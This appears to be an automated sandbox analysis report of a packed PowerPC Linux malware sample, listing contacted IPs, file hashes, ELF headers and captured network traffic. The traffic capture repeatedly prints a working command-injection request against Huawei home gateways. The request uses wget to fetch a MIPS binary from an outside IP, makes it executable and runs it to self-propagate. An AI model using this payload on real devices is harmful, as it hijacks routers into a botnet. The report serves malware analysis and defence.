Source: unknown	TCP traffic detected without corresponding DNS query: 65.177.233.36
Source: unknown	TCP traffic detected without corresponding DNS query: 157.93.115.12
Source: unknown	TCP traffic detected without corresponding DNS query: 217.203.129.133
Source: unknown	TCP traffic detected without corresponding DNS query: 197.23.85.235
Source: unknown	TCP traffic detected without corresponding DNS query: 157.28.172.229
Source: unknown	TCP traffic detected without corresponding DNS query: 200.117.135.236
Source: unknown	TCP traffic detected without corresponding DNS query: 157.74.39.23
Source: unknown	TCP traffic detected without corresponding DNS query: 157.149.230.163
Source: unknown	TCP traffic detected without corresponding DNS query: 41.129.231.12
Source: unknown	TCP traffic detected without corresponding DNS query: 68.169.138.245
Source: unknown	TCP traffic detected without corresponding DNS query: 157.214.48.136
Source: unknown	TCP traffic detected without corresponding DNS query: 102.146.12.253
Source: unknown	TCP traffic detected without corresponding DNS query: 41.25.40.50
Source: unknown	TCP traffic detected without corresponding DNS query: 117.170.146.180
Source: unknown	TCP traffic detected without corresponding DNS query: 197.201.21.50
Source: unknown	TCP traffic detected without corresponding DNS query: 197.15.150.222
Source: unknown	TCP traffic detected without corresponding DNS query: 41.129.60.242
Source: unknown	TCP traffic detected without corresponding DNS query: 76.57.224.60
Source: unknown	TCP traffic detected without corresponding DNS query: 197.206.26.71
Source: unknown	TCP traffic detected without corresponding DNS query: 157.161.246.7
Source: unknown	TCP traffic detected without corresponding DNS query: 36.7.164.205
Source: unknown	TCP traffic detected without corresponding DNS query: 41.48.248.186
Source: unknown	TCP traffic detected without corresponding DNS query: 157.101.96.146
Source: unknown	TCP traffic detected without corresponding DNS query: 41.171.215.161
Source: unknown	TCP traffic detected without corresponding DNS query: 41.126.238.193
Source: unknown	TCP traffic detected without corresponding DNS query: 197.193.45.176
Source: unknown	TCP traffic detected without corresponding DNS query: 211.135.148.134
Source: unknown	TCP traffic detected without corresponding DNS query: 197.30.239.112
Source: unknown	TCP traffic detected without corresponding DNS query: 104.95.35.245
Source: unknown	TCP traffic detected without corresponding DNS query: 197.111.30.243
Source: unknown	TCP traffic detected without corresponding DNS query: 41.45.74.39
Source: unknown	TCP traffic detected without corresponding DNS query: 95.242.211.84
Source: unknown	TCP traffic detected without corresponding DNS query: 60.16.89.158
Source: unknown	TCP traffic detected without corresponding DNS query: 41.166.173.250
Source: unknown	TCP traffic detected without corresponding DNS query: 157.107.123.136
Source: unknown	TCP traffic detected without corresponding DNS query: 197.18.206.1
Source: unknown	TCP traffic detected without corresponding DNS query: 157.87.21.127
Source: unknown	TCP traffic detected without corresponding DNS query: 52.7.115.248
Source: unknown	TCP traffic detected without corresponding DNS query: 41.162.34.101
Source: unknown	TCP traffic detected without corresponding DNS query: 17.67.58.18
Source: unknown	TCP traffic detected without corresponding DNS query: 197.129.241.51
Source: unknown	TCP traffic detected without corresponding DNS query: 157.253.55.235
Source: unknown	TCP traffic detected without corresponding DNS query: 157.79.55.133

File type:	ELF 32-bit MSB executable, PowerPC or cisco 4500, version 1 (GNU/Linux), statically linked, no section header
Entropy (8bit):	7.949415870287037
TrID:	ELF Executable and Linkable format (Linux) (4029/14) 50.16% ELF Executable and Linkable format (generic) (4004/1) 49.84%
File name:	mu3Tajj6Po.elf
File size:	32'164 bytes
MD5:	19c0043930c0106009932f31a4b95536
SHA1:	fdbe64ae435715ba70390b2afe39bbe4e74b1d42
SHA256:	dec091d830a063c402e40dfc9b737429f964133b19c34cd64aba9d6e54496f43
SHA512:	d26d2a2f45a4b372e738ea4921aa57a0911d9cb83ed1e422221ef838df6daefb06f4552430ac1a0c97a8f40b990dc5f02b74d614c702c0927b2df5066903d838
SSDEEP:	768:PcIIW7HlG4RH0x99Fr0mSsM7cK8pJCHigAR94uVcqgw09mW:kI7wTH7zSsM4psi94u+qgw09z
TLSH:	92E2E190F895CA0DFAECEA615D69C8E46BEA04D32A158FC0C1A1BB60771353DB185FD4
File Content Preview:	.ELF......................j....4.........4. ...(......................\|...\|.........................................dt.Q................................UPX!..........%...%........U.......?.E.h4...@b...............=..[.Q.........4+j......^a...2....u...<.A.

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	PowerPC
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - Linux
ABI Version:	0
Entry Point Address:	0x106ab0
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	0
Section Header Size:	40
Number of Section Headers:	0
Header String Table Index:	0

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align
LOAD	0x0	0x100000	0x100000	0x7c98	0x7c98	7.9522	0x5	R E	0x10000
LOAD	0xaf0	0x10030af0	0x10030af0	0x0	0x0	0.0000	0x6	RW	0x10000
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Timestamp	Bytes transferred	Direction	Data
Feb 12, 2024 19:19:12.647937059 CET	824	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 467 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 33 2e 31 39 33 2e 31 32 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 79 65 79 65 2f 79 65 79 65 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.233.193.12 -l /tmp/.oxy -r /yeye/yeye.mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 12, 2024 19:19:13.265979052 CET	824	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 467 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 33 2e 31 39 33 2e 31 32 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 79 65 79 65 2f 79 65 79 65 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.233.193.12 -l /tmp/.oxy -r /yeye/yeye.mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 12, 2024 19:19:14.513915062 CET	824	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 467 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 33 2e 31 39 33 2e 31 32 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 79 65 79 65 2f 79 65 79 65 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.233.193.12 -l /tmp/.oxy -r /yeye/yeye.mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 12, 2024 19:19:17.141875029 CET	824	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 467 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 33 2e 31 39 33 2e 31 32 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 79 65 79 65 2f 79 65 79 65 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.233.193.12 -l /tmp/.oxy -r /yeye/yeye.mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 12, 2024 19:19:22.257656097 CET	824	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 467 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 33 2e 31 39 33 2e 31 32 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 79 65 79 65 2f 79 65 79 65 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.233.193.12 -l /tmp/.oxy -r /yeye/yeye.mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 12, 2024 19:19:32.241365910 CET	824	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 467 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 33 2e 31 39 33 2e 31 32 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 79 65 79 65 2f 79 65 79 65 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.233.193.12 -l /tmp/.oxy -r /yeye/yeye.mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 12, 2024 19:19:52.720901966 CET	824	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 467 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 33 2e 31 39 33 2e 31 32 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 79 65 79 65 2f 79 65 79 65 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.233.193.12 -l /tmp/.oxy -r /yeye/yeye.mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 12, 2024 19:20:33.679553986 CET	824	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 467 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 33 2e 31 39 33 2e 31 32 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 79 65 79 65 2f 79 65 79 65 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 